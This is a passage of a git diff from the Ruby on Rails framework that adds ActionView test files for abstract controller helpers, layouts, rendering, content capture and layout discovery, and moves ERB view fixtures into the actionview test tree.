+ @controller = OverridingLocalPrefixes.new
+ @controller.process(:index)
+ assert_equal "Hello from me3/index.erb", @controller.response_body
+ end
+
+ test ".local_prefixes is inherited" do
+ @controller = OverridingLocalPrefixes::Inheriting.new
+ @controller.process(:index)
+ assert_equal "Hello from me3/index.erb", @controller.response_body
+ end
+ end
+
+ class DeprecatedParentPrefixes < OverridingLocalPrefixes
+ def self.parent_prefixes
+ ["abstract_controller/testing/me3"]
+ end
+ end
+
+ class DeprecatedParentPrefixesTest < ActiveSupport::TestCase # TODO: remove me in 5.0/4.3.
+ test "overriding .parent_prefixes is deprecated" do
+ @controller = DeprecatedParentPrefixes.new
+ assert_deprecated do
+ @controller.process(:index)
+ end
+ assert_equal "Hello from me3/index.erb", @controller.response_body
+ end
+ end
+
+ # Test rendering with layouts
+ # ====
+ # self._layout is used when defined
+ class WithLayouts < PrefixedViews
+ include ActionView::Layouts
+
+ private
+ def self.layout(formats)
+ find_template(name.underscore, {:formats => formats}, :_prefixes => ["layouts"])
+ rescue ActionView::MissingTemplate
+ begin
+ find_template("application", {:formats => formats}, :_prefixes => ["layouts"])
+ rescue ActionView::MissingTemplate
+ end
+ end
+
+ def render_to_body(options = {})
+ options[:_layout] = options[:layout] || _default_layout({})
+ super
+ end
+ end
+
+ class Me4 < WithLayouts
+ def index
+ render
+ end
+ end
+
+ class TestLayouts < ActiveSupport::TestCase
+ test "layouts are included" do
+ controller = Me4.new
+ controller.process(:index)
+ assert_equal "Me4 Enter : Hello from me4/index.erb : Exit", controller.response_body
+ end
+ end
+
+ # respond_to_action?(action_name)
+ # ====
+ # * A method can be used as an action only if this method
+ # returns true when passed the method name as an argument
+ # * Defaults to true in AbstractController
+ class DefaultRespondToActionController < AbstractController::Base
+ def index() self.response_body = "success" end
+ end
+
+ class ActionMissingRespondToActionController < AbstractController::Base
+ # No actions
+ private
+ def action_missing(action_name)
+ self.response_body = "success"
+ end
+ end
+
+ class RespondToActionController < AbstractController::Base;
+ def index() self.response_body = "success" end
+
+ def fail() self.response_body = "fail" end
+
+ private
+
+ def method_for_action(action_name)
+ action_name.to_s != "fail" && action_name
+ end
+ end
+
+ class TestRespondToAction < ActiveSupport::TestCase
+
+ def assert_dispatch(klass, body = "success", action = :index)
+ controller = klass.new
+ controller.process(action)
+ assert_equal body, controller.response_body
+ end
+
+ test "an arbitrary method is available as an action by default" do
+ assert_dispatch DefaultRespondToActionController, "success", :index
+ end
+
+ test "raises ActionNotFound when method does not exist and action_missing is not defined" do
+ assert_raise(ActionNotFound) { DefaultRespondToActionController.new.process(:fail) }
+ end
+
+ test "dispatches to action_missing when method does not exist and action_missing is defined" do
+ assert_dispatch ActionMissingRespondToActionController, "success", :ohai
+ end
+
+ test "a method is available as an action if method_for_action returns true" do
+ assert_dispatch RespondToActionController, "success", :index
+ end
+
+ test "raises ActionNotFound if method is defined but method_for_action returns false" do
+ assert_raise(ActionNotFound) { RespondToActionController.new.process(:fail) }
+ end
+ end
+
+ class Me6 < AbstractController::Base
+ self.action_methods
+
+ def index
+ end
+ end
+
+ class TestActionMethodsReloading < ActiveSupport::TestCase
+
+ test "action_methods should be reloaded after defining a new method" do
+ assert_equal Set.new(["index"]), Me6.action_methods
+ end
+ end
+
+ end
+end
diff --git a/actionview/test/actionpack/abstract/helper_test.rb b/actionview/test/actionpack/abstract/helper_test.rb
new file mode 100644
index 0000000000..7d346e917d
--- /dev/null
+++ b/actionview/test/actionpack/abstract/helper_test.rb
@@ -0,0 +1,127 @@
+require 'abstract_unit'
+
+ActionController::Base.helpers_path = File.expand_path('../../../fixtures/helpers', __FILE__)
+
+module AbstractController
+ module Testing
+
+ class ControllerWithHelpers < AbstractController::Base
+ include AbstractController::Helpers
+ include AbstractController::Rendering
+ include ActionView::Rendering
+
+ def with_module
+ render :inline => "Module <%= included_method %>"
+ end
+ end
+
+ module HelperyTest
+ def included_method
+ "Included"
+ end
+ end
+
+ class AbstractHelpers < ControllerWithHelpers
+ helper(HelperyTest) do
+ def helpery_test
+ "World"
+ end
+ end
+
+ helper :abc
+
+ def with_block
+ render :inline => "Hello <%= helpery_test %>"
+ end
+
+ def with_symbol
+ render :inline => "I respond to bare_a: <%= respond_to?(:bare_a) %>"
+ end
+ end
+
+ class ::HelperyTestController < AbstractHelpers
+ clear_helpers
+ end
+
+ class AbstractHelpersBlock < ControllerWithHelpers
+ helper do
+ include AbstractController::Testing::HelperyTest
+ end
+ end
+
+ class AbstractInvalidHelpers < AbstractHelpers
+ include ActionController::Helpers
+
+ path = File.expand_path('../../../fixtures/helpers_missing', __FILE__)
+ $:.unshift(path)
+ self.helpers_path = path
+ end
+
+ class TestHelpers < ActiveSupport::TestCase
+ def setup
+ @controller = AbstractHelpers.new
+ end
+
+ def test_helpers_with_block
+ @controller.process(:with_block)
+ assert_equal "Hello World", @controller.response_body
+ end
+
+ def test_helpers_with_module
+ @controller.process(:with_module)
+ assert_equal "Module Included", @controller.response_body
+ end
+
+ def test_helpers_with_symbol
+ @controller.process(:with_symbol)
+ assert_equal "I respond to bare_a: true", @controller.response_body
+ end
+
+ def test_declare_missing_helper
+ e = assert_raise AbstractController::Helpers::MissingHelperError do
+ AbstractHelpers.helper :missing
+ end
+ assert_equal "helpers/missing_helper.rb", e.path
+ end
+
+ def test_helpers_with_module_through_block
+ @controller = AbstractHelpersBlock.new
+ @controller.process(:with_module)
+ assert_equal "Module Included", @controller.response_body
+ end
+ end
+
+ class ClearHelpersTest < ActiveSupport::TestCase
+ def setup
+ @controller = HelperyTestController.new
+ end
+
+ def test_clears_up_previous_helpers
+ @controller.process(:with_symbol)
+ assert_equal "I respond to bare_a: false", @controller.response_body
+ end
+
+ def test_includes_controller_default_helper
+ @controller.process(:with_block)
+ assert_equal "Hello Default", @controller.response_body
+ end
+ end
+
+ class InvalidHelpersTest < ActiveSupport::TestCase
+ def test_controller_raise_error_about_real_require_problem
+ e = assert_raise(LoadError) { AbstractInvalidHelpers.helper(:invalid_require) }
+ assert_equal "No such file to load -- very_invalid_file_name", e.message
+ end
+
+ def test_controller_raise_error_about_missing_helper
+ e = assert_raise(AbstractController::Helpers::MissingHelperError) { AbstractInvalidHelpers.helper(:missing) }
+ assert_equal "Missing helper file helpers/missing_helper.rb", e.message
+ end
+
+ def test_missing_helper_error_has_the_right_path
+ e = assert_raise(AbstractController::Helpers::MissingHelperError) { AbstractInvalidHelpers.helper(:missing) }
+ assert_equal "helpers/missing_helper.rb", e.path
+ end
+ end
+ end
+end
diff --git a/actionview/test/actionpack/abstract/layouts_test.rb b/actionview/test/actionpack/abstract/layouts_test.rb
new file mode 100644
index 0000000000..a6786d9b6b
--- /dev/null
+++ b/actionview/test/actionpack/abstract/layouts_test.rb
@@ -0,0 +1,384 @@
+require 'abstract_unit'
+
+module AbstractControllerTests
+ module Layouts
+
+ # Base controller for these tests
+ class Base < AbstractController::Base
+ include AbstractController::Rendering
+ include ActionView::Rendering
+ include ActionView::Layouts
+
+ abstract!
+
+ self.view_paths = [ActionView::FixtureResolver.new(
+ "layouts/hello.erb" => "With String <%= yield %>",
+ "layouts/hello_override.erb" => "With Override <%= yield %>",
+ "layouts/overwrite.erb" => "Overwrite <%= yield %>",
+ "layouts/with_false_layout.erb" => "False Layout <%= yield %>",
+ "abstract_controller_tests/layouts/with_string_implied_child.erb" =>
+ "With Implied <%= yield %>",
+ "abstract_controller_tests/layouts/with_grand_child_of_implied.erb" =>
+ "With Grand Child <%= yield %>"
+
+ )]
+ end
+
+ class Blank < Base
+ self.view_paths = []
+
+ def index
+ render :template => ActionView::Template::Text.new("Hello blank!")
+ end
+ end
+
+ class WithString < Base
+ layout "hello"
+
+ def index
+ render :template => ActionView::Template::Text.new("Hello string!")
+ end
+
+ def overwrite_default
+ render :template => ActionView::Template::Text.new("Hello string!"), :layout => :default
+ end
+
+ def overwrite_false
+ render :template => ActionView::Template::Text.new("Hello string!"), :layout => false
+ end
+
+ def overwrite_string
+ render :template => ActionView::Template::Text.new("Hello string!"), :layout => "overwrite"
+ end
+
+ def overwrite_skip
+ render :text => "Hello text!"
+ end
+ end
+
+ class WithStringChild < WithString
+ end
+
+ class WithStringOverriddenChild < WithString
+ layout "hello_override"
+ end
+
+ class WithStringImpliedChild < WithString
+ layout nil
+ end
+
+ class WithChildOfImplied < WithStringImpliedChild
+ end
+
+ class WithGrandChildOfImplied < WithStringImpliedChild
+ layout nil
+ end
+
+ class WithProc < Base
+ layout proc { "overwrite" }
+
+ def index
+ render :template => ActionView::Template::Text.new("Hello proc!")
+ end
+ end
+
+ class WithProcReturningNil < Base
+ layout proc { nil }
+
+ def index
+ render template: ActionView::Template::Text.new("Hello nil!")
+ end
+ end
+
+ class WithZeroArityProc < Base
+ layout proc { "overwrite" }
+
+ def index
+ render :template => ActionView::Template::Text.new("Hello zero arity proc!")
+ end
+ end
+
+ class WithProcInContextOfInstance < Base
+ def an_instance_method; end
+
+ layout proc {
+ break unless respond_to? :an_instance_method
+ "overwrite"
+ }
+
+ def index
+ render :template => ActionView::Template::Text.new("Hello again zero arity proc!")
+ end
+ end
+
+ class WithSymbol < Base
+ layout :hello
+
+ def index
+ render :template => ActionView::Template::Text.new("Hello symbol!")
+ end
+ private
+ def hello
+ "overwrite"
+ end
+ end
+
+ class WithSymbolReturningNil < Base
+ layout :nilz
+
+ def index
+ render :template => ActionView::Template::Text.new("Hello nilz!")
+ end
+
+ def nilz() end
+ end
+
+ class WithSymbolReturningObj < Base
+ layout :objekt
+
+ def index
+ render :template => ActionView::Template::Text.new("Hello nilz!")
+ end
+
+ def objekt
+ Object.new
+ end
+ end
+
+ class WithSymbolAndNoMethod < Base
+ layout :no_method
+
+ def index
+ render :template => ActionView::Template::Text.new("Hello boom!")
+ end
+ end
+
+ class WithMissingLayout < Base
+ layout "missing"
+
+ def index
+ render :template => ActionView::Template::Text.new("Hello missing!")
+ end
+ end
+
+ class WithFalseLayout < Base
+ layout false
+
+ def index
+ render :template => ActionView::Template::Text.new("Hello false!")
+ end
+ end
+
+ class WithNilLayout < Base
+ layout nil
+
+ def index
+ render :template => ActionView::Template::Text.new("Hello nil!")
+ end
+ end
+
+ class WithOnlyConditional < WithStringImpliedChild
+ layout "overwrite", :only => :show
+
+ def index
+ render :template => ActionView::Template::Text.new("Hello index!")
+ end
+
+ def show
+ render :template => ActionView::Template::Text.new("Hello show!")
+ end
+ end
+
+ class WithExceptConditional < WithStringImpliedChild
+ layout "overwrite", :except => :show
+
+ def index
+ render :template => ActionView::Template::Text.new("Hello index!")
+ end
+
+ def show
+ render :template => ActionView::Template::Text.new("Hello show!")
+ end
+ end
+
+ class TestBase < ActiveSupport::TestCase
+ test "when no layout is specified, and no default is available, render without a layout" do
+ controller = Blank.new
+ controller.process(:index)
+ assert_equal "Hello blank!", controller.response_body
+ end
+
+ test "when layout is specified as a string, render with that layout" do
+ controller = WithString.new
+ controller.process(:index)
+ assert_equal "With String Hello string!", controller.response_body
+ end
+
+ test "when layout is overwritten by :default in render, render default layout" do
+ controller = WithString.new
+ controller.process(:overwrite_default)
+ assert_equal "With String Hello string!", controller.response_body
+ end
+
+ test "when layout is overwritten by string in render, render new layout" do
+ controller = WithString.new
+ controller.process(:overwrite_string)
+ assert_equal "Overwrite Hello string!", controller.response_body
+ end
+
+ test "when layout is overwritten by false in render, render no layout" do
+ controller = WithString.new
+ controller.process(:overwrite_false)
+ assert_equal "Hello string!", controller.response_body
+ end
+
+ test "when text is rendered, render no layout" do
+ controller = WithString.new
+ controller.process(:overwrite_skip)
+ assert_equal "Hello text!", controller.response_body
+ end
+
+ test "when layout is specified as a string, but the layout is missing, raise an exception" do
+ assert_raises(ActionView::MissingTemplate) { WithMissingLayout.new.process(:index) }
+ end
+
+ test "when layout is specified as false, do not use a layout" do
+ controller = WithFalseLayout.new
+ controller.process(:index)
+ assert_equal "Hello false!", controller.response_body
+ end
+
+ test "when layout is specified as nil, do not use a layout" do
+ controller = WithNilLayout.new
+ controller.process(:index)
+ assert_equal "Hello nil!", controller.response_body
+ end
+
+ test "when layout is specified as a proc, do not leak any methods into controller's action_methods" do
+ assert_equal Set.new(['index']), WithProc.action_methods
+ end
+
+ test "when layout is specified as a proc, call it and use the layout returned" do
+ controller = WithProc.new
+ controller.process(:index)
+ assert_equal "Overwrite Hello proc!", controller.response_body
+ end
+
+ test "when layout is specified as a proc and the proc returns nil, don't use a layout" do
+ controller = WithProcReturningNil.new
+ controller.process(:index)
+ assert_equal "Hello nil!", controller.response_body
+ end
+
+ test "when layout is specified as a proc without parameters it works just the same" do
+ controller = WithZeroArityProc.new
+ controller.process(:index)
+ assert_equal "Overwrite Hello zero arity proc!", controller.response_body
+ end
+
+ test "when layout is specified as a proc without parameters the block is evaluated in the context of an instance" do
+ controller = WithProcInContextOfInstance.new
+ controller.process(:index)
+ assert_equal "Overwrite Hello again zero arity proc!", controller.response_body
+ end
+
+ test "when layout is specified as a symbol, call the requested method and use the layout returned" do
+ controller = WithSymbol.new
+ controller.process(:index)
+ assert_equal "Overwrite Hello symbol!", controller.response_body
+ end
+
+ test "when layout is specified as a symbol and the method returns nil, don't use a layout" do
+ controller = WithSymbolReturningNil.new
+ controller.process(:index)
+ assert_equal "Hello nilz!", controller.response_body
+ end
+
+ test "when the layout is specified as a symbol and the method doesn't exist, raise an exception" do
+ assert_raises(NameError) { WithSymbolAndNoMethod.new.process(:index) }
+ end
+
+ test "when the layout is specified as a symbol and the method returns something besides a string/false/nil, raise an exception" do
+ assert_raises(ArgumentError) { WithSymbolReturningObj.new.process(:index) }
+ end
+
+ test "when a child controller does not have a layout, use the parent controller layout" do
+ controller = WithStringChild.new
+ controller.process(:index)
+ assert_equal "With String Hello string!", controller.response_body
+ end
+
+ test "when a child controller has specified a layout, use that layout and not the parent controller layout" do
+ controller = WithStringOverriddenChild.new
+ controller.process(:index)
+ assert_equal "With Override Hello string!", controller.response_body
+ end
+
+ test "when a child controller has an implied layout, use that layout and not the parent controller layout" do
+ controller = WithStringImpliedChild.new
+ controller.process(:index)
+ assert_equal "With Implied Hello string!", controller.response_body
+ end
+
+ test "when a grandchild has no layout specified, the child has an implied layout, and the " \
+ "parent has specified a layout, use the child controller layout" do
+ controller = WithChildOfImplied.new
+ controller.process(:index)
+ assert_equal "With Implied Hello string!", controller.response_body
+ end
+
+ test "when a grandchild has nil layout specified, the child has an implied layout, and the " \
+ "parent has specified a layout, use the child controller layout" do
+ controller = WithGrandChildOfImplied.new
+ controller.process(:index)
+ assert_equal "With Grand Child Hello string!", controller.response_body
+ end
+
+ test "raises an exception when specifying layout true" do
+ assert_raises ArgumentError do
+ Object.class_eval do
+ class ::BadFailLayout < AbstractControllerTests::Layouts::Base
+ layout true
+ end
+ end
+ end
+ end
+
+ test "when specify an :only option which match current action name" do
+ controller = WithOnlyConditional.new
+ controller.process(:show)
+ assert_equal "Overwrite Hello show!", controller.response_body
+ end
+
+ test "when specify an :only option which does not match current action name" do
+ controller = WithOnlyConditional.new
+ controller.process(:index)
+ assert_equal "With Implied Hello index!", controller.response_body
+ end
+
+ test "when specify an :except option which match current action name" do
+ controller = WithExceptConditional.new
+ controller.process(:show)
+ assert_equal "With Implied Hello show!", controller.response_body
+ end
+
+ test "when specify an :except option which does not match current action name" do
+ controller = WithExceptConditional.new
+ controller.process(:index)
+ assert_equal "Overwrite Hello index!", controller.response_body
+ end
+
+ test "layout for anonymous controller" do
+ klass = Class.new(WithString) do
+ def index
+ render :text => 'index', :layout => true
+ end
+ end
+
+ controller = klass.new
+ controller.process(:index)
+ assert_equal "With String index", controller.response_body
+ end
+ end
+ end
+end
diff --git a/actionview/test/actionpack/abstract/render_test.rb b/actionview/test/actionpack/abstract/render_test.rb
new file mode 100644
index 0000000000..d09f91c1e2
--- /dev/null
+++ b/actionview/test/actionpack/abstract/render_test.rb
@@ -0,0 +1,103 @@
+require 'abstract_unit'
+
+module AbstractController
+ module Testing
+
+ class ControllerRenderer < AbstractController::Base
+ include AbstractController::Rendering
+ include ActionView::Rendering
+
+ def _prefixes
+ %w[renderer]
+ end
+
+ self.view_paths = [ActionView::FixtureResolver.new(
+ "template.erb" => "With Template",
+ "renderer/default.erb" => "With Default",
+ "renderer/string.erb" => "With String",
+ "renderer/symbol.erb" => "With Symbol",
+ "string/with_path.erb" => "With String With Path",
+ "some/file.erb" => "With File"
+ )]
+
+ def template
+ render :template => "template"
+ end
+
+ def file
+ render :file => "some/file"
+ end
+
+ def inline
+ render :inline => "With <%= :Inline %>"
+ end
+
+ def text
+ render :text => "With Text"
+ end
+
+ def default
+ render
+ end
+
+ def string
+ render "string"
+ end
+
+ def string_with_path
+ render "string/with_path"
+ end
+
+ def symbol
+ render :symbol
+ end
+ end
+
+ class TestRenderer < ActiveSupport::TestCase
+
+ def setup
+ @controller = ControllerRenderer.new
+ end
+
+ def test_render_template
+ assert_equal "With Template", @controller.process(:template)
+ assert_equal "With Template", @controller.response_body
+ end
+
+ def test_render_file
+ assert_equal "With File", @controller.process(:file)
+ assert_equal "With File", @controller.response_body
+ end
+
+ def test_render_inline
+ assert_equal "With Inline", @controller.process(:inline)
+ assert_equal "With Inline", @controller.response_body
+ end
+
+ def test_render_text
+ assert_equal "With Text", @controller.process(:text)
+ assert_equal "With Text", @controller.response_body
+ end
+
+ def test_render_default
+ assert_equal "With Default", @controller.process(:default)
+ assert_equal "With Default", @controller.response_body
+ end
+
+ def test_render_string
+ assert_equal "With String", @controller.process(:string)
+ assert_equal "With String", @controller.response_body
+ end
+
+ def test_render_symbol
+ assert_equal "With Symbol", @controller.process(:symbol)
+ assert_equal "With Symbol", @controller.response_body
+ end
+
+ def test_render_string_with_path
+ assert_equal "With String With Path", @controller.process(:string_with_path)
+ assert_equal "With String With Path", @controller.response_body
+ end
+ end
+ end
+end
diff --git a/actionpack/test/abstract/views/abstract_controller/testing/me3/formatted.html.erb b/actionview/test/actionpack/abstract/views/abstract_controller/testing/me3/formatted.html.erb
index 785bf69191..785bf69191 100644
--- a/actionpack/test/abstract/views/abstract_controller/testing/me3/formatted.html.erb
+++ b/actionview/test/actionpack/abstract/views/abstract_controller/testing/me3/formatted.html.erb
diff --git a/actionpack/test/abstract/views/abstract_controller/testing/me3/index.erb b/actionview/test/actionpack/abstract/views/abstract_controller/testing/me3/index.erb
index f079ad8204..f079ad8204 100644
--- a/actionpack/test/abstract/views/abstract_controller/testing/me3/index.erb
+++ b/actionview/test/actionpack/abstract/views/abstract_controller/testing/me3/index.erb
diff --git a/actionpack/test/abstract/views/abstract_controller/testing/me4/index.erb b/actionview/test/actionpack/abstract/views/abstract_controller/testing/me4/index.erb
index 89dce12bdc..89dce12bdc 100644
--- a/actionpack/test/abstract/views/abstract_controller/testing/me4/index.erb
+++ b/actionview/test/actionpack/abstract/views/abstract_controller/testing/me4/index.erb
diff --git a/actionpack/test/abstract/views/abstract_controller/testing/me5/index.erb b/actionview/test/actionpack/abstract/views/abstract_controller/testing/me5/index.erb
index 84d0b7417e..84d0b7417e 100644
--- a/actionpack/test/abstract/views/abstract_controller/testing/me5/index.erb
+++ b/actionview/test/actionpack/abstract/views/abstract_controller/testing/me5/index.erb
diff --git a/actionpack/test/abstract/views/action_with_ivars.erb b/actionview/test/actionpack/abstract/views/action_with_ivars.erb
index 8d8ae22fd7..8d8ae22fd7 100644
--- a/actionpack/test/abstract/views/action_with_ivars.erb
+++ b/actionview/test/actionpack/abstract/views/action_with_ivars.erb
diff --git a/actionpack/test/abstract/views/helper_test.erb b/actionview/test/actionpack/abstract/views/helper_test.erb
index 8ae45cc195..8ae45cc195 100644
--- a/actionpack/test/abstract/views/helper_test.erb
+++ b/actionview/test/actionpack/abstract/views/helper_test.erb
diff --git a/actionpack/test/abstract/views/index.erb b/actionview/test/actionpack/abstract/views/index.erb
index cc1a8b8c85..cc1a8b8c85 100644
--- a/actionpack/test/abstract/views/index.erb
+++ b/actionview/test/actionpack/abstract/views/index.erb
diff --git a/actionpack/test/abstract/views/layouts/abstract_controller/testing/me4.erb b/actionview/test/actionpack/abstract/views/layouts/abstract_controller/testing/me4.erb
index 172dd56569..172dd56569 100644
--- a/actionpack/test/abstract/views/layouts/abstract_controller/testing/me4.erb
+++ b/actionview/test/actionpack/abstract/views/layouts/abstract_controller/testing/me4.erb
diff --git a/actionpack/test/abstract/views/layouts/application.erb b/actionview/test/actionpack/abstract/views/layouts/application.erb
index 27317140ad..27317140ad 100644
--- a/actionpack/test/abstract/views/layouts/application.erb
+++ b/actionview/test/actionpack/abstract/views/layouts/application.erb
diff --git a/actionpack/test/abstract/views/naked_render.erb b/actionview/test/actionpack/abstract/views/naked_render.erb
index 1b3d03878b..1b3d03878b 100644
--- a/actionpack/test/abstract/views/naked_render.erb
+++ b/actionview/test/actionpack/abstract/views/naked_render.erb
diff --git a/actionview/test/actionpack/controller/capture_test.rb b/actionview/test/actionpack/controller/capture_test.rb
new file mode 100644
index 0000000000..f8387b27b0
--- /dev/null
+++ b/actionview/test/actionpack/controller/capture_test.rb
@@ -0,0 +1,81 @@
+require 'abstract_unit'
+require 'active_support/logger'
+
+class CaptureController < ActionController::Base
+ self.view_paths = [ File.dirname(__FILE__) + '/../../fixtures/actionpack' ]
+
+ def self.controller_name; "test"; end
+ def self.controller_path; "test"; end
+
+ def content_for
+ @title = nil
+ render :layout => "talk_from_action"
+ end
+
+ def content_for_with_parameter
+ @title = nil
+ render :layout => "talk_from_action"
+ end
+
+ def content_for_concatenated
+ @title = nil
+ render :layout => "talk_from_action"
+ end
+
+ def non_erb_block_content_for
+ @title = nil
+ render :layout => "talk_from_action"
+ end
+
+ def proper_block_detection
+ @todo = "some todo"
+ end
+end
+
+class CaptureTest < ActionController::TestCase
+ tests CaptureController
+
+ def setup
+ super
+ # enable a logger so that (e.g.) the benchmarking stuff runs, so we can get
+ # a more accurate simulation of what happens in "real life".
+ @controller.logger = ActiveSupport::Logger.new(nil)
+
+ @request.host = "www.nextangle.com"
+ end
+
+ def test_simple_capture
+ get :capturing
+ assert_equal "Dreamy days", @response.body.strip
+ end
+
+ def test_content_for
+ get :content_for
+ assert_equal expected_content_for_output, @response.body
+ end
+
+ def test_should_concatentate_content_for
+ get :content_for_concatenated
+ assert_equal expected_content_for_output, @response.body
+ end
+
+ def test_should_set_content_for_with_parameter
+ get :content_for_with_parameter
+ assert_equal expected_content_for_output, @response.body
+ end
+
+ def test_non_erb_block_content_for
+ get :non_erb_block_content_for
+ assert_equal expected_content_for_output, @response.body
+ end
+
+ def test_proper_block_detection
+ get :proper_block_detection
+ assert_equal "some todo", @response.body
+ end
+
+ private
+ def expected_content_for_output
+ "<title>Putting stuff in the title!</title>\nGreat stuff!"
+ end
+end
diff --git a/actionview/test/actionpack/controller/layout_test.rb b/actionview/test/actionpack/controller/layout_test.rb
new file mode 100644
index 0000000000..bd345fe873
--- /dev/null
+++ b/actionview/test/actionpack/controller/layout_test.rb
@@ -0,0 +1,269 @@
+require 'abstract_unit'
+require 'rbconfig'
+require 'active_support/core_ext/array/extract_options'
+
+# The view_paths array must be set on Base and not LayoutTest so that LayoutTest's inherited
+# method has access to the view_paths array when looking for a layout to automatically assign.
+old_load_paths = ActionController::Base.view_paths
+
+ActionController::Base.view_paths = [ File.dirname(__FILE__) + '/../../fixtures/actionpack/layout_tests/' ]
+
+class LayoutTest < ActionController::Base
+ def self.controller_path; 'views' end
+ def self._implied_layout_name; to_s.underscore.gsub(/_controller$/, '') ; end
+ self.view_paths = ActionController::Base.view_paths.dup
+end
+
+module TemplateHandlerHelper
+ def with_template_handler(*extensions, handler)
+ ActionView::Template.register_template_handler(*extensions, handler)
+ yield
+ ensure
+ ActionView::Template.unregister_template_handler(*extensions)
+ end
+end
+
+# Restore view_paths to previous value
+ActionController::Base.view_paths = old_load_paths
+
+class ProductController < LayoutTest
+end
+
+class ItemController < LayoutTest
+end
+
+class ThirdPartyTemplateLibraryController < LayoutTest
+end
+
+module ControllerNameSpace
+end
+
+class ControllerNameSpace::NestedController < LayoutTest
+end
+
+class MultipleExtensions < LayoutTest
+end
+
+class LayoutAutoDiscoveryTest < ActionController::TestCase
+ include TemplateHandlerHelper
+
+ def setup
+ super
+ @request.host = "www.nextangle.com"
+ end
+
+ def test_application_layout_is_default_when_no_controller_match
+ @controller = ProductController.new
+ get :hello
+ assert_equal 'layout_test.erb hello.erb', @response.body
+ end
+
+ def test_controller_name_layout_name_match
+ @controller = ItemController.new
+ get :hello
+ assert_equal 'item.erb hello.erb', @response.body
+ end
+
+ def test_third_party_template_library_auto_discovers_layout
+ with_template_handler :mab, lambda { |template| template.source.inspect } do
+ @controller = ThirdPartyTemplateLibraryController.new
+ get :hello
+ assert_response :success
+ assert_equal 'layouts/third_party_template_library.mab', @response.body
+ end
+ end
+
+ def test_namespaced_controllers_auto_detect_layouts1
+ @controller = ControllerNameSpace::NestedController.new
+ get :hello
+ assert_equal 'controller_name_space/nested.erb hello.erb', @response.body
+ end
+
+ def test_namespaced_controllers_auto_detect_layouts2
+ @controller = MultipleExtensions.new
+ get :hello
+ assert_equal 'multiple_extensions.html.erb hello.erb', @response.body.strip
+ end
+end
+
+class DefaultLayoutController < LayoutTest
+end
+
+class StreamingLayoutController < LayoutTest
+ def render(*args)
+ options = args.extract_options!
+ super(*args, options.merge(:stream => true))
+ end
+end
+
+class AbsolutePathLayoutController < LayoutTest
+ layout File.expand_path(File.expand_path(__FILE__) + '/../../../fixtures/actionpack/layout_tests/layouts/layout_test')
+end
+
+class HasOwnLayoutController < LayoutTest
+ layout 'item'
+end
+
+class HasNilLayoutSymbol < LayoutTest
+ layout :nilz
+
+ def nilz
+ nil
+ end
+end
+
+class HasNilLayoutProc < LayoutTest
+ layout proc { nil }
+end
+
+class PrependsViewPathController < LayoutTest
+ def hello
+ prepend_view_path File.dirname(__FILE__) + '/../../fixtures/actionpack/layout_tests/alt/'
+ render :layout => 'alt'
+ end
+end
+
+class OnlyLayoutController < LayoutTest
+ layout 'item', :only => "hello"
+end
+
+class ExceptLayoutController < LayoutTest
+ layout 'item', :except => "goodbye"
+end
+
+class SetsLayoutInRenderController < LayoutTest
+ def hello
+ render :layout => 'third_party_template_library'
+ end
+end
+
+class RendersNoLayoutController < LayoutTest
+ def hello
+ render :layout => false
+ end
+end
+
+class LayoutSetInResponseTest < ActionController::TestCase
+ include ActionView::Template::Handlers
+ include TemplateHandlerHelper
+
+ def test_layout_set_when_using_default_layout
+ @controller = DefaultLayoutController.new
+ get :hello
+ assert_template :layout => "layouts/layout_test"
+ end
+
+ def test_layout_set_when_using_streaming_layout
+ @controller = StreamingLayoutController.new
+ get :hello
+ assert_template :hello
+ end
+
+ def test_layout_set_when_set_in_controller
+ @controller = HasOwnLayoutController.new
+ get :hello
+ assert_template :layout => "layouts/item"
+ end
+
+ def test_layout_symbol_set_in_controller_returning_nil_falls_back_to_default
+ @controller = HasNilLayoutSymbol.new
+ get :hello
+ assert_template layout: "layouts/layout_test"
+ end
+
+ def test_layout_proc_set_in_controller_returning_nil_falls_back_to_default
+ @controller = HasNilLayoutProc.new
+ get :hello
+ assert_template layout: "layouts/layout_test"
+ end
+
+ def test_layout_only_exception_when_included
+ @controller = OnlyLayoutController.new
+ get :hello
+ assert_template :layout => "layouts/item"
+ end
+
+ def test_layout_only_exception_when_excepted
+ @controller = OnlyLayoutController.new
+ get :goodbye
+ assert !@response.body.include?("item.erb"), "#{@response.body.inspect} included 'item.erb'"
+ end
+
+ def test_layout_except_exception_when_included
+ @controller = ExceptLayoutController.new
+ get :hello
+ assert_template :layout => "layouts/item"
+ end
+
+ def test_layout_except_exception_when_excepted
+ @controller = ExceptLayoutController.new
+ get :goodbye
+ assert !@response.body.include?("item.erb"), "#{@response.body.inspect} included 'item.erb'"
+ end
+
+ def test_layout_set_when_using_render
+ with_template_handler :mab, lambda { |template| template.source.inspect } do
+ @controller = SetsLayoutInRenderController.new
+ get :hello
+ assert_template :layout => "layouts/third_party_template_library"
+ end
+ end
+
+ def test_layout_is_not_set_when_none_rendered
+ @controller = RendersNoLayoutController.new
+ get :hello
+ assert_template :layout => nil
+ end
+
+ def test_layout_is_picked_from_the_controller_instances_view_path
+ @controller = PrependsViewPathController.new
+ get :hello
+ assert_template :layout => /layouts\/alt/
+ end
+
+ def test_absolute_pathed_layout
+ @controller = AbsolutePathLayoutController.new
+ get :hello
+ assert_equal "layout_test.erb hello.erb", @response.body.strip
+ end
+end
+
+class SetsNonExistentLayoutFile < LayoutTest
+ layout "nofile"
+end
+
+class LayoutExceptionRaisedTest < ActionController::TestCase
+ def test_exception_raised_when_layout_file_not_found
+ @controller = SetsNonExistentLayoutFile.new
+ assert_raise(ActionView::MissingTemplate) { get :hello }
+ end
+end
+
+class LayoutStatusIsRendered < LayoutTest
+ def hello
+ render :status => 401
+ end
+end
+
+class LayoutStatusIsRenderedTest < ActionController::TestCase
+ def test_layout_status_is_rendered
+ @controller = LayoutStatusIsRendered.new
+ get :hello
+ assert_response 401
+ end
+end
+
+unless RbConfig::CONFIG['host_os'] =~ /mswin|mingw/
+ class LayoutSymlinkedTest < LayoutTest
+ layout "symlinked/symlinked_layout"
+ end
+
+ class LayoutSymlinkedIsRenderedTest < ActionController::TestCase
+ def test_symlinked_layout_is_rendered
+ @controller = LayoutSymlinkedTest.new
+ get :hello
+ assert_response 200
+ assert_template :layout => "layouts/symlinked/symlinked_layout"
+ end
+ end
+end
diff --git a/actionview/test/actionpack/controller/render_test.rb b/actionview/test/actionpack/controller/render_test.rb
new file mode 100644
index 0000000000..563caee8a2
--- /dev/null
+++ b/actionview/test/actionpack/controller/render_test.rb
@@ -0,0 +1,1344 @@
+require 'abstract_unit'
+require "active_model"
+
+class ApplicationController < ActionController::Base
